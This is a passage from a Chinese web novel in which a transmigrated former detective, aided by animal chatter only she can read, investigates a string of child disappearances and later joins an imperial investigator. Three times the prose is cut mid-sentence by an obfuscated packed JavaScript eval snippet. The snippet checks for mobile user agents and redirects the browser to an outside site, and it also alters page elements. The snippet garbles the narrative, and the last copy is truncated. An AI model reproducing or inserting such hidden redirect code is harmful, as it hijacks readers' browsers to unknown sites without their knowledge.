大黑:【汪!赵捕头晨巡回来啦!手里拿着两个肉包子,油纸包着,香!好香啊!不知道今天能不能蹭到一口……】 橘点点:【喵呜?那个新来的两脚兽,站在那儿看什么呢?手里……手里有没有鱼啊?】 穆青青抬眼,循着光幕里“橘点点”的线索望去,果然看见西墙头上,蹲着一只圆滚滚的橘猫。它毛色鲜亮,一双圆溜溜的琥珀色眼睛,正好奇地、直勾勾地盯着自己,尾巴尖还一甩一甩的。 她忍不住嘴角弯了弯。 县衙里的这些小家伙的聊天内容实在是太可爱了。在这个全然陌生的时代,这仿佛成了她与这世界之间,一条奇异而温暖的纽带。 “喵呜?”墙头的橘猫见她只是看着,没有动作,歪了歪脑袋,又叫了一声,带着点疑惑和催促。 8. 幼童失踪案(1) 歪头杀的魅力惊人。 穆青青立刻想起小荷说的鱼片粥,转身进了小厨房。刘婶正在灶台边忙活,见她进来,笑呵呵地招呼。穆青青盛了一小碟白嫩的鱼片,吹了吹,端到院子里,放在老槐树下的石桌上,自己则退开了几步。 那橘猫轻盈地从墙头跃下,先是警惕地左右嗅嗅,然后才凑到碟子边,试探着舔了舔,随即像是确认了美味,立刻埋头“呼噜呼噜”地大吃起来。 光幕上的文字随之跳动更新: 【橘点点:喵呜!鱼!是新鲜的鱼肉!这个新来的两脚兽,懂事!本喵准你在这院子里住下啦!】 【瓦片:喵!新来的!不懂规矩!那石桌是本喵晒太阳的地方!那鱼……那鱼也该是本喵先尝!】 话音未落,墙头另一边,又悄没声地冒出一只猫来。是只黑白相间的奶牛猫,身形矫健,左耳朵尖缺了一小块,据小荷说是小时候跟野狗打架留下的“勋章”。它蹲在墙头,居高临下地看着大快朵颐的橘点点,尾巴很不满地甩动着。 穆青青瞧着有趣,又进去盛了一小碟,放在石桌的另一头。 瓦片“嗖”地一下跳下来,动作比橘点点还要轻盈利落。两只猫各占一方,埋头苦吃,暂时维持着一种微妙的、互不干涉的和平。 穆青青忍不住伸手摸了摸胖橘的脑袋。橘猫眯起眼,蹭了蹭她的手心,又继续埋头吃鱼。 穆青青又摸了摸瓦片——这是只黑白花奶牛猫,左耳缺了个小角,听说是小时候打架伤的。瓦片傲娇地扬了扬下巴,但也没躲开。 院子里只有它们满足的呼噜声,和清晨细微的风声。 就在这时,院墙外头,隐隐约约传来了孩童们清脆的嬉笑声,像一串散落的银铃,撞破了晨间的宁静。 穆青青循声走到那扇小角门边,轻轻推开一条门缝,向外张望。 门外是条不算宽的青石巷子。几个七八岁大小的孩子,正在玩捉迷藏。一个扎着两根羊角辫、脸蛋红扑扑的小女娃,用一块花布蒙着眼睛,靠在墙根,脆生生地数着数:“……九十七、九十八、九十九、一百!藏好了吗?我来找啦!” 她一把扯下蒙眼布,眼睛亮晶晶的,开始四处搜寻。其他孩子尖叫着,嬉笑着,从柴堆后、门洞里、大树旁窜出来,又飞快地躲到别处去。那纯然的、毫不掩饰的快乐,顺着巷子流淌开来。 穆青青静静地看着,嘴角不自觉地漾开一抹极淡的笑意。这样平凡、鲜活、充满烟火气的场景,让她心头那点因穿越和失忆而生的飘零孤寂之感,被冲淡了许多。仿佛双脚,终于踏实地踩在了这片土地之上。 她正要轻轻合上门,却见巷子另一头,袅袅婷婷走来一个年轻女子。 那女子约莫十七八岁年纪,穿着鹅黄色的窄袖襦裙,外罩一件淡绿色的比甲,身姿窈窕。她手里提着个竹编的篮子,步履轻快地走到孩子们身边,弯下腰,声音清脆得像初春枝头的黄莺儿:“慢些跑,当心摔着。来,柳姐姐这儿有刚出锅的糖糕。” 说着,她从篮子里拿出几个用油纸细心包好的小包,一一分给围拢过来的孩子们。孩子们欢呼起来,迫不及待地打开油纸,里面是金黄油亮的炸糖糕,上面还撒着香喷喷的白芝麻。 “谢谢柳姐姐!” “柳姐姐最好啦!” 女子温柔地笑着,挨个摸摸孩子们的头,眉眼弯弯,尽是柔和的光。直起身时,她的目光不经意地扫过县衙后门,恰好与门缝后穆青青的视线撞了个正着。 她微微一愣,随即,那笑容便如春风化雨般,更加明媚地绽放开来。她提着篮子,款步向角门走来。 “这位姑娘是?”她在门外站定,声音里带着笑意和一丝恰到好处的好奇,“瞧着面生,是刚搬来的吗?” 穆青青索性拉开了门,落落大方地应道:“我姓穆,是暂住在县衙里的。姑娘是?” “我姓柳,单名一个茵字,就住在隔壁的柳叶巷。” 柳茵答得爽利,目光在穆青青身上礼貌地一掠,便含笑望着她的眼睛,“家父在城南开着间小医馆,唤作‘济生堂’。我平日帮着料理些琐事,闲时爱自己琢磨些点心。”她顿了顿,语气更亲近了些,“丰城地方不大,但人情味足,住久了倒也舒心。穆姑娘是新来的,往后若是闲了,不妨来我家坐坐,尝尝我做的点心,也给我品评品评。” 穆青青心中微动。柳茵举止大方,谈吐不俗,又是医馆之女,懂些医理药性,在这人生地不熟的丰城,若能结交,或许是件好事。 “柳姐姐客气了,”她温声应道,“我初来乍到,正愁没有相识的人说话。姐姐若不嫌弃,我改日一定登门叨扰。” “说什么叨扰不叨扰的,我巴不得多个伴儿呢。”柳茵摆摆手,很是高兴的样子,“对了,明日西市有庙会,一年里最热闹的时候,杂耍、唱戏、卖各色小玩意儿的都有。穆姑娘若是有兴致,我可以给你带路,咱们一起去逛逛?” “好啊,”穆青青欣然应允,“那明日就劳烦柳姐姐了。” 两人又站在门口说了几句闲话,柳茵这才提着空了些的篮子,告辞离去。她鹅黄色的裙裾在巷子转角处一闪,便不见了。 穆青青轻轻关上门,插好门闩。方才门外孩童的嬉闹声、柳茵清脆的嗓音,仿佛还在耳边。这丰城的日子,似乎就要这样平静而缓慢地铺展开来了。 然而,这平静并未持续太久。 午后,穆青青正在自己房中,翻看着崔夫人给她的几本这个时代常见的启蒙读物,既是认字,也是了解风俗。小荷脚步匆匆地推门进来,圆圆的脸蛋上带着些许惊慌,又混杂着按捺不住的、想要倾诉秘密的急切。她回身小心地掩好门,凑到穆青青跟前,压低了嗓子道:“姑娘,姑娘!您听说了吗?出大事了!” 穆青青放下书卷,抬眼看她:“怎么了?慢慢说。” “是衙门外头那条巷子,王铁匠家的儿子,虎子,不见了!”小荷语速很快,“说是早上吃过饭,跟往常一样跑出去找巷子里的小孩儿玩,到了该吃午饭的时辰,人还没回来。王铁匠和他媳妇急疯了,把附近几条巷子都翻遍了,愣是没找着人影儿!” 虎子?穆青青想起早晨在门外玩捉迷藏的那群孩子里,似乎是有个虎头虎脑的小男孩,原来就是他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011106|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “街坊邻居们都在议论,”小荷的声音压得更低,带着点神秘兮兮的味道,“说看见虎子最后,是跟那个挑担子卖糖人的老糖头在一块儿说话!现在可好,老糖头也不见了!他那间破屋子门锁着,人去屋空!大伙儿都说……都说八成是让老糖头给拐走了!” 卖糖人的老糖头? 穆青青脑海中立刻浮现出昨日在巷口见过的那个老人。瘦瘦小小,总是笑眯眯的,担子一头是熬糖的小炉铜锅,另一头插着各式各样晶莹剔透的糖人、糖画,孩子们总是围着他,叽叽喳喳。看着是个再和善不过的手艺人。 孩童失踪……在她前世,这是足以让整个刑侦系统高度紧张的重案。在这个时代,恐怕也绝非小事。而且听小荷这话里的意思,这似乎并非孤立事件。 “报官了吗?”穆青青站起身,神色沉静下来。 “报了!赵捕头已经带人去老糖头家查看了。”小荷点头,脸上忧色更重,“可是姑娘,这……这都不是第一回了。就这个月,东市卖豆腐的孙家,六岁的丫头秀儿,说是去外婆家,结果根本没去,人丢了有十来天了。还有码头那边,船工老吴家的小儿子,才四岁,七天前在码头边上玩,一转眼也不见了。这两桩案子,到现在还没破,孩子也没找回来呢。” 一个月内,三起孩童失踪案。穆青青的心慢慢沉了下去。巧合的可能性太小了,这更像是有预谋的连环案件。 “衙门之前是怎么查的?一点线索都没有?”她追问,刑警的职业本能开始苏醒。 小荷摇摇头,撇撇嘴:“赵捕头带着人查是查了,问也问了,可就是没头绪。孙家丫头是自己说要出门的,路上没人看见;吴家小子是在码头上丢的,那儿人来人往,更难查。都说可能是拍花子的顺手拐了去,可一点踪迹也摸不着。” 没有目击者,没有明显线索,失踪地点分散,时间也不固定……作案手法很老练,或者说,很谨慎。 穆青青沉吟片刻。她初来乍到,本不该过多插手衙门事务。但涉及孩童,且可能是连环作案,她无法坐视不理。那种想要探寻真相、阻止罪恶的本能,已经刻入了她的骨血里。 “小荷,”她轻声但清晰地说,“去跟夫人回一声,就说我想出去买些针线绣花样子,熟悉熟悉街面。” 小荷有些犹豫:“姑娘,外头现在乱哄哄的,您这时候出去……” “不妨事,我就去附近转转,绝不走远,申时前一定回来。”穆青青语气温和,却带着不容置疑的坚定。她走到妆台边,从那个简陋的小匣子里取了几枚铜钱,又极其自然地将那把她请崔远帮忙打制的小巧防身匕首,贴身收好。 小荷见她主意已定,只得点点头:“那……姑娘千万小心,我去跟夫人说。” 待小荷离开,穆青青迅速换了身更不起眼的青灰色粗布衣裙,用一块深色布巾将头发包裹严实,只露出一双沉静的眼。她对着模糊的铜镜最后看了一眼,镜中少女的眼神,已与方才看书时截然不同,锐利,专注,仿佛即将踏入战场的士兵。 她轻轻推开房门,像一尾悄无声息的鱼,滑入了县衙后巷略带潮湿的空气里。 9. 幼童失踪案(2) 穆青青推开角门,青石巷已不似清晨那般欢腾。午后阳光慵懒,几个妇人聚在井边,低声交谈,脸上带着未散的惊惶。王铁匠家的打铁声也停了,一种压抑的寂静笼罩着巷子。 她没有加入人群,而是像一个好奇的过客,步履平缓地朝巷子东头——孩子们早晨玩耍的地方走去。 老槐树下真的有残留的糖渍,不过几乎被蚂蚁搬空了,只剩几点深色印记。柴垛旁有许多杂乱的小脚印。 穆青青蹲下身,指尖拂过青石板缝隙,捡起一片极小的、亮晶晶的琥珀色碎屑——是熬过头的糖脆。 “姑娘你在找什么?”一个苍老的声音响起。 穆青青回头,是隔壁一位头发花白、正在晒菜干的老婆婆。 “婆婆好,”她起身,语气带着适当的忧虑,“听说巷里丢了孩子,我心里实在是不安,就出来看看。这糖渣……” “是老糖头的糖。”老婆婆叹了口气,“那老头儿,唉,看着不像坏人啊……虎子那娃,机灵,嘴巴甜,常帮我拎菜篮子。”她摇摇头,压低声音,“可要说老糖头拐人……我老婆子看人,觉得他那眼神,对孩子是真心喜欢,不像装出来的。” “婆婆认识他很久了? “算不上久,他每年春末夏初都来丰城,在巷口或是西市大榕树那儿摆上三四个月摊子,有好些年头了。人实诚,有些孩子没钱,就那么眼巴巴地看着,他会捏个小的送上,也不要钱。”老婆婆回忆道,“不过……前天深夜,我起夜的时候好像瞧见他担着空担子匆匆往外走,那时月亮正高,怕是子时都过了。” 子时?老糖头深夜独自出过门? 谢过老婆婆后,穆青青继续探查,正在犹豫是先去虎子家里看看,还是去老糖头摆摊儿的地方瞧瞧时,脑海中光幕浮现: 【丰城县衙周边(当前在线:6)】 瓦片:【喵——太阳挪位置了!这块砖不暖了!本喵要去找新的宝地!橘点点不许跟来!】 橘点点:【喵呜!谁要跟你!刘婶在腌小鱼!我闻到盐味了!等会儿肯定有鱼渣掉下来!】 大黑:【汪……(翻了个身)梦里好像有肉骨头在跑……别跑……】 灰灰:【吱吱!刚才那只花斑猫又想掏我的洞!幸好我新挖了三条岔路!累死我了,得多嗑两颗瓜子补补。】 绒球:【啾!我兄弟说西市那边的树上有好多胖虫子!冲啊!】 穆青青下意识地抬头,正好看见一只肥滚滚的不知名小鸟掠过天空,朝西市的方向飞去。她忍不住笑了,临时决定去西市的糖人摊看看。 刚走到巷口,却见柳茵提着一个盖着粗布的竹篮,步履略显匆忙地从另一头走来。 “柳姐姐?”穆青青出声招呼。 柳茵似乎微微一顿,抬眼见到是她,立刻展露温婉笑容:“青青妹妹?你这是……” “心里记挂失踪的孩子,出来走走。姐姐这是?”穆青青目光扫过竹篮,粗布下隐约露出些草叶根茎。 “去城郊采了些新鲜草药,家父配药急需。”柳茵语气自然,但穆青青注意到她鹅黄裙摆下缘和绣鞋侧边,沾了些独特的暗红色泥点,与丰城常见的黄土或青黑泥不同。 “妹妹脸色有些苍白,可是吓着了?快别在外头乱走,如今不太平。” “姐姐说的是。我正想去西市买点丝线,顺便看看。” 柳茵轻轻拉住她的手,触感微凉:“妹妹心善,但这种事交给官府便是。你初来乍到,万一冲撞了什么,反倒不好。” 她言辞恳切,随即又道,“明日庙会,我们可还同去?若去,辰时我来接你。” “自然要去的,劳烦姐姐记挂。” “那便说定了。我得赶紧回去帮家父处理药材,有些药草离土久了,药性便差了。”柳茵点头告辞,步履依旧轻盈。 穆青青望着她背影,目光再次落在那些红泥上——丰城附近,哪里有这种颜色的土? 她转身走向西市。脑海中,小动物们换了个场景聊天: 【西市边缘(当前在线:4)】 麻雀:【啾!气死我了!刚才在粮店后巷那辆马车上歇脚,轮子上的红泥巴弄脏了我的尾羽!难看死了!】 野猫:【喵~没意思,今天的人类幼崽怎么都不乱掉吃的了?害我白蹲半天。还是去码头碰碰运气。】 老鼠:【吱!红泥巴马车?那车的轱辘缝里卡了半块芝麻糕!虽然沾了泥,但扒拉出来里面还是好的!香!】 穆青青脚步一顿。 粮店后巷的红泥巴马车?卡着孩子爱吃的芝麻糕? 穆青青心中疑窦渐生。这红泥,柳茵身上有,马车上也有。 粮店后巷?离老糖头的摊位不远处好像就有个大粮店…… 西市在丰城西侧,紧邻漕运码头,是城里最繁华的集市。还未走近,喧闹声已扑面而来。穆青青跟随那些采买的妇人,融入人流。 集市很大,摊位林立。她很快找到了糖人摊的位置——在集市东北角,一棵老榕树下,此刻空荡荡的。 摊位周围围着一圈人,指指点点。 “真是知人知面不知心......” “我早说那老头不对劲......” 穆青青没有靠近。她退到斜对面一个卖竹编的摊位旁,假装挑选篮子,观察环境。 榕树枝叶茂密,足以遮挡视线。摊位斜对面是一家茶铺,二楼有窗,正对着这里。左侧是一条窄巷,堆满杂物;右侧是连续三个卖布匹的摊位,布匹挂得老高,形成视线盲区。 如果有人要在这里诱拐孩子,确实容易——热闹嘈杂的环境,大人的注意力容易被分散;茂密的榕树和布匹提供遮挡;而那条窄巷,是绝佳的撤离路线。 “姑娘,这篮子编得多结实,买一个吧?”摊主是个四十来岁的妇人。 穆青青拿起一个篮子:“这个多少钱?” “十五文。” 穆青青付了钱,状似随意地问:“大娘,对面那糖人摊,往常生意好吗?” “好着呢!”妇人刚得了钱,心里高兴,忍不住打开了话匣子,“老糖头手艺好,孩子们都喜欢他。前年我男人摔伤了腿,他还偷偷塞给我几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011107|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铜板。”她压低声音,“说真的,我不信老糖头会拐孩子。” 穆青青问:“那他这几天有什么不对劲吗?” 妇人想了想:“没什么不对劲啊,就是前天吧,他收摊特别早,天还没黑就走了。还有,他往常熬糖用的是槐花蜜,香味能飘老远。可这几天好像换了糖,味道不一样。” “味道不一样?” “说不清,就是......没那么香了,有点苦味似的。” 苦味? 穆青青记下这个细节,提着篮子离开。她需要看看那条窄巷。 巷子很窄,仅容一人通过,地上堆着破箩筐、烂木板,还有一股馊臭味。穆青青小心地走进去,目光如炬般扫视。 墙角有拖拽的痕迹——不太新鲜了,至少是昨天的;一片碎布挂在木板的钉子上,是靛蓝色的粗布;地上有几个杂乱的脚印,大小不一...... 她的目光停在巷子深处——那里堆着一大捆发霉的草席。草席边,有一个被踩扁的破碗,碗底残留着一点粥渍,已经干了。 有人在这里吃过东西。 而且时间不长——蚂蚁还没来得及把残渣搬完。 穆青青缓缓靠近草席,一大股霉味猛的扑来,她只能屏住呼吸,仔细查看。 很快,她就注意到草席边缘有被小心掀开过的痕迹。缝隙里还塞着些干净的干草,像是有人试图给自己做个垫子。 难道,里面藏得有人?不过她并没有察觉到什么危险气息。 于是穆青青蹲下身,轻声说:“有人在吗?我不是坏人。” 没有回应。 但她能听到极轻微的呼吸声——很浅,很克制,像是有人屏住呼吸,却又控制不住。 “我知道你在里面。”穆青青声音放得更柔,“你饿不饿?我这里有点心。” 草席微微动了动。 一个细小的声音传出来:“......真的?” “真的。”穆青青从篮子里取出刚才买的馒头——她特意多买了两个。 草席被小心地掀开一条缝。一双又大又亮的眼睛露出来,满是警惕和恐惧。是个男孩,约莫五六岁,脸上脏得看不清模样。 “你先吃。”穆青青把馒头递过去。 男孩犹豫着,最终还是伸手接过,狼吞虎咽起来。穆青青注意到他的手——指甲缝里有黑泥,但手掌皮肤细腻,不像是常年干粗活的孩子。 “慢点吃,别噎着。”穆青青又递上水囊。 男孩喝了几口水,稍微放松了些。 “你叫什么名字?怎么一个人在这里?”穆青青问。 “我叫豆子......”男孩小声说,“我爷爷病了,在破庙里......我本来想进城给他找点吃的......” 穆青青心中一软:“你昨晚也在这里过夜吗?” 豆子点头:“爷爷说城里有拍花子的,白天人多,我不敢出来......晚上才敢找吃的......” “那你昨天晚上......”穆青青顿了顿,“有没有看到什么奇怪的事情?” 10. 幼童失踪案(3) 豆子的脸色忽然变了。 他低下头看了看手里的馒头,最终还是开口了,声音发颤:“我......我看见了......” “看见什么?” “糖人爷爷......被坏人抓走了......”豆子眼泪掉下来,“昨天晚上......很晚了......我饿得睡不着,想出来看看有没有剩饭......就看见糖人爷爷被人从那边拖进去......”他指向巷子深处,“好多人......黑衣服......有刀......” 穆青青心脏一紧:“你慢慢说,具体是什么时辰?在哪儿?” “就......就丑时左右......”豆子抽噎着,“在那边那个后门......他们把糖人爷爷捆起来,塞住嘴......有个脸上有疤的人说......说‘老实点,三爷要活的’......” 三爷。 又是“三爷”。 穆青青想起“河湾夜话”里小动物们提过的“三爷等急了”。难道...... “你还记得那些人的样子吗?有没有什么特别的地方?” 豆子努力回忆:“有个人脸上有疤......从这里,”他指着自己左脸颊,“到这里。”手指划到耳根,“好长......还有一个人......说话声音很尖,像......像女人,但是是男人......” “他们看见你了吗?” 豆子浑身一抖:“他们转头的时候......我赶紧躲起来了......他们可能没看清......但我害怕......一直躲着不敢出来......” 穆青青明白了。豆子不是一直躲在巷子里——他白天应该还和爷爷在破庙里,晚上才进城来翻找东西,然后寻到了这个临时藏身处。昨晚他撞见那幕后,吓得不敢再现身,从昨晚一直躲到现在。 那群黑衣人之前肯定排查过这条巷子,但他们也没想到这个“小乞丐”排查的时候根本不在巷子里。 至于排查后为何不派人一直把守着巷口? 穆青青也不明白。 可能是怕动静太大引起旁人注意,也可能是他们如此行动了多次,一直没出纰漏,所以放松了警惕。 “豆子,”穆青青认真地看着他,“我现在带你去一个安全的地方,那里有吃的,还有大夫可以给你爷爷看病。你愿意跟我走吗?” 豆子犹豫地看着她,又看看手里的半个馒头,最终点了点头。 穆青青脱下外衫裹住孩子,抱起他快步走出窄巷。她没有回西市,而是绕了个圈,往县衙方向走去。 回到县衙时,已是傍晚。穆青青抱着豆子从后门进去,正遇上崔夫人从正院出来。 “青青,这是......”崔夫人看见她怀里的孩子,愣住了。 “夫人,这孩子是重要目击者。”穆青青言简意赅,“他昨晚亲眼看见老糖头被人绑架。” 崔夫人神色一凛:“快进来!” 三人进了偏厅。崔夫人让丫鬟拿来点心和热茶,豆子饿坏了,却还小心翼翼地问:“可以......可以给我爷爷留一点吗?” “你先吃,爷爷那边我这就让人去接。”崔夫人温声道,立刻吩咐管家带人去破庙寻人。 豆子这才大口吃起来。 穆青青将情况简单说明,提到“三爷”时,崔夫人脸色凝重。 “这事非同小可。”崔夫人说,“我这就让人去请老爷和宋师爷。” 与此同时,崔县令和宋师爷他们也在讨论幼童失踪案。 崔县令面色凝重地看着手中的卷宗——这一个月内,丰城已上报三起幼童失踪案,年龄在四至八岁之间,男女皆有,失踪地点分散,毫无规律可循。 “大人,”赵捕头垂首禀报,“属下带人查遍了码头、客栈、车马行,连城外破庙都搜了,就是没有一点线索。那几个卖糖人的、耍猴戏的流动摊贩,也都查问过,没有异常。” 宋师爷捻着断指:“连续作案,手法老练,绝非寻常拍花子。怕是有组织的拐卖团伙。” 就在这时,前衙传来通报声:“大人,有位京城来的官差求见,自称姓寇,持六扇门腰牌。” 崔县令与宋师爷对视一眼,均感意外。六扇门乃刑部直属,专司大案要案,怎会突然来到这丰城县? “快请。” 不多时,一名青年迈步而入。约莫二十三四岁年纪,身姿挺拔如松,着墨蓝色劲装,外罩玄色披风,腰悬长剑。他面容俊朗,眉眼间带着长途奔波的风霜,但一双眼睛锐利如鹰,扫视间自有威仪。 “丰城知县崔文博?”青年抱拳,声音清朗,“六扇门缉捕司统领,寇晟。” “寇大人。”崔县令起身还礼,“不知寇大人远道而来,所为何事?” 寇晟从怀中取出一卷密函,递给崔县令:“此案牵涉重大,请崔大人屏退左右。” 崔县令挥退赵捕头等人,只留宋师爷在侧。寇晟这才沉声道:“半月前,五皇子随母妃回外祖家贺寿,于途中离奇失踪。陛下震怒,密令六扇门彻查。我一路追查线索,结果到了丰城县附近,线索突然中断,贼人似凭空消失了一般。而巧合的是,”他顿了顿,“丰城这一个月内,接连发生幼童失踪案。” 崔县令心头一震:“寇大人是怀疑……两案有关联?” “未必是同一伙人所为,但作案手法有相似之处——目标皆是孩童,行事隐秘,不留痕迹。”寇晟目光如炬,“我需要查看丰城所有失踪案的卷宗,并请崔大人协助排查可疑人员。” 宋师爷沉吟道:“寇大人,丰城是漕运码头,每日往来人员繁杂,若大张旗鼓排查,恐打草惊蛇。” “正是要暗中查访。”寇晟道,“我需一名熟悉本案情况、心思缜密之人协助。此人最好不是县衙之人,需能出入市井,不引人注目。” 崔县令与宋师爷交换了一个眼神。 “生面孔?倒有一人可选,”崔县令缓缓道,“只是……是位姑娘。” 烛火在偏厅内摇曳,映照着豆子狼吞虎咽的侧脸。穆青青将他的证词原原本本告诉了崔夫人:老糖头被绑、脸上有疤的男人、尖嗓子的同伙,还有那个神秘的“三爷”。 崔夫人听完,脸色凝重如霜:“‘三爷’……又是此人。先前船上那伙贼人也提过。”她握住穆青青的手,“青青,你今日不仅救了这孩子,还拿到了关键线索。此事必须立刻告知老爷。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011108|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正说着,外头传来脚步声,崔县令撩帘而入,身后跟着宋师爷,以及一位气度不凡的陌生青年。 “夫人,”崔县令道,声音仍有些虚弱,“这位是京城六扇门来的寇晟寇大人,为查案而至。”他转向寇晟,“寇大人,这位是内子,这位是暂住府上的穆青青姑娘——方才禀报的目击孩童,正是穆姑娘寻回的。” 寇晟的目光如实质般落在穆青青身上。他方才在前堂已听崔县令简略说了情况,此刻亲眼见到这传闻中“心思缜密”的姑娘——衣着朴素,面容稚嫩,唯有一双眼睛沉静得不像这个年纪该有的模样。而她身旁那个脏兮兮的孩子,正抓着一块糕点,怯生生地偷看他。 “穆姑娘。”寇晟抱拳,礼节周全但透着疏离,“听闻你不仅发现了目击者,还从这孩子口中问出了关键细节。可否详细告知?” 他的语气是纯粹的公务询问,没有轻视,也没有多余的情绪。穆青青起身还礼,将豆子的证词复述一遍,条理清晰,重点明确——丑时、窄巷、三至四人、刀疤脸、尖嗓子、“三爷要活的”。 寇晟听完,沉吟片刻,忽然,他走上前蹲下身,与坐在椅子上的豆子平视:“豆子,你昨夜躲在哪里看见那些人的?” 豆子往后缩了缩,小声道:“草……草席后面,有个破缸挡着。” “丑时巷子里一片漆黑,你是怎么看清那些人抓走了的是糖人爷爷的?” 豆子似乎这时才意识到光亮问题,他仔细回想了下才说:“那几个人手里都提着发亮的东西,不像火把那样被风吹得一晃一晃的。” 崔县令几人都忍不住在想那东西到底是什么?寇晟已经在问下一个问题了。 “他们说话时怎么站着的?糖人爷爷是面对着你还是背对你?” “那些人背对着我的……他们围着糖人爷爷。” “那个脸上有疤的人,他拿刀的手是哪一只?” 豆子努力回忆,比划了一下:“右、左手!……他右手抓着糖人爷爷的胳膊,左手拿着刀。” 寇晟点头,声音放缓和了些:“很好。你还记得那些人的鞋子吗?有没有特别脏,或者沾了什么?” 这个问题让穆青青心中一动——她当时只顾询问关键人物特征,却忽略了足迹和附着物这样的痕迹线索。 不愧是六扇门的人。 豆子皱着小脸想了一会儿,眼睛忽然一亮:“有!有个人靴子上……有红色的泥!他抬脚踢糖人爷爷的时候我看见了,在靴子边上,一块一块的。” 红泥! 穆青青与寇晟几乎是同时抬眼看对方,目光在空中短暂交汇。寇晟眼中闪过一丝锐利的光,随即恢复平静。 “多谢你,豆子。你帮了大忙。”寇晟站起身,对崔县令和崔夫人道,“崔大人,崔夫人,这孩子和他的爷爷需妥善安置,他们现在很危险。” “寇大人放心,我已让人去接他爷爷,今晚就让他们住在后衙厢房,派人守着。”崔夫人立刻道。 寇晟颔首,又看向穆青青:“穆姑娘,崔大人方才举荐,说你熟悉街巷、心思细腻,可助我查案。我需一人引路,并协助询问市井之人——女子出面,有时比男子更方便。不知穆姑娘可愿相助?” 11. 幼童失踪案(4) 寇晟的邀请直接而务实,没有因为她是女子而婉转,也没有因为她是平民而居高临下。 穆青青喜欢这种风格。 “民女愿意。”她应道,“只是民女初来丰城,对街巷只是略知一二,恐难当大任。” “无妨,我需要的是观察与询问之能,引路只是其次。”寇晟道,“明日辰时,我们从头查起——先去西市窄巷,再去查查红泥可能出现的地方。” “红泥?”穆青青想起柳茵裙摆上的红泥,以及小动物们提到的粮店后巷,“民女今日也见到有人身上沾了类似的红泥,且听……听街坊闲谈,西市粮店后巷曾停过一辆沾红泥的马车。” 她及时将“小动物聊天”的信息转化为“街坊闲谈”,这是她早就想好的说辞。 寇晟深深看她一眼:“甚好。那明日便从这两处查起。” 次日辰时,天刚蒙蒙亮,穆青青已等在县衙门口。 她依旧穿着昨日的灰蓝粗布衣裙,头发包得严实,腰间小布包里装着纸笔、干粮和那把贴身匕首。晨风吹过,带着河水特有的潮湿气息。 寇晟准时出现。他换了一身更便于行动的深灰色短打,外罩同色薄披风,长刀用布裹了背在身后,乍看像个寻常的江湖客,唯有一双眼睛锐利得藏不住。 “穆姑娘早。”他点头致意,递过来一个油纸包,“还没用早饭吧?街口买的炊饼,夹了酱菜。” 穆青青微怔,接过油纸包时触感温热:“多谢寇大人。” “查案辛苦,吃饱才好办事。”寇晟自己也拿出一个,边走边吃,动作干脆利落,没有半分京城贵公子的矜持。 两人沉默地穿行在清晨的巷弄里。这个时辰,大多数铺子还没开,只有卖早点的摊贩生起炉火,蒸汽混着面香在空气中弥漫。 “昨日你提及的红泥,”寇晟忽然开口,“我今早查验了县衙过往案卷,发现三年前一桩旧案里提到过——城南十五里,有处废弃砖窑,附近土质暗红。但那地方紧挨乱葬岗,平时少有人去。” 穆青青心中一动。原来他是从案卷中查到的——这才合理。 “大人怀疑那里与本案有关?” “凡是异常之处,都值得一查。”寇晟咬了口炊饼,“但眼下先去西市窄巷,看看能否找到更多痕迹。” 两人走到西市时,集市尚未开张,只有零星早起的摊贩在收拾。老榕树下的空地空荡荡的,昨夜的热闹散尽,只剩一地碎屑。 寇晟没有立即进入窄巷,而是在巷口停下脚步,从怀中取出一个巴掌大的皮面本子和一支炭笔。他翻开本子,快速勾勒出巷子及周边的简图,标注了方位、出入口、以及邻近店铺。 “查案先查势。”他低声解释,“摸清地形,才能推演可能发生的事。” 穆青青凑近看去——他的画功简洁精准,几条线就勾勒出巷子三面围墙、老槐树的位置、以及连通的三条街口。她注意到,他在巷子东侧的一扇小门上画了个圈,旁边打了个问号。 “这扇门是?” “粮店后门。”寇晟用炭笔轻点那个圈,“我今早查看县衙的商铺登记册,这条巷子两侧的六扇后门里,五扇属于民居,只有这一扇属于商铺——城西刘记粮店。” 穆青青心中一动。她昨日确实看到这扇紧闭的小门,但不知是哪家的。 “大人为何特别留意这扇门?” “三个原因。”寇晟竖起手指,“第一,粮店每日进出货物,有马车往来是常事,不会引人怀疑。第二,粮店后院通常有仓房,空间大,足够藏匿。第三——”他顿了顿,“我特意查看了刘记粮店近三个月的进货记录,虽然没有看到他家账册,但从码头货运登记来看,他家每月从南边运来的‘陈粮’数量,比去年同期多出三成,但售出量却并没有明显增加。” “多出来的粮食去了哪里?” “要么是虚报账目,中饱私囊;要么……”寇晟目光微沉,“那些‘陈粮’根本不是粮食。” 这个推测让穆青青背脊发凉。 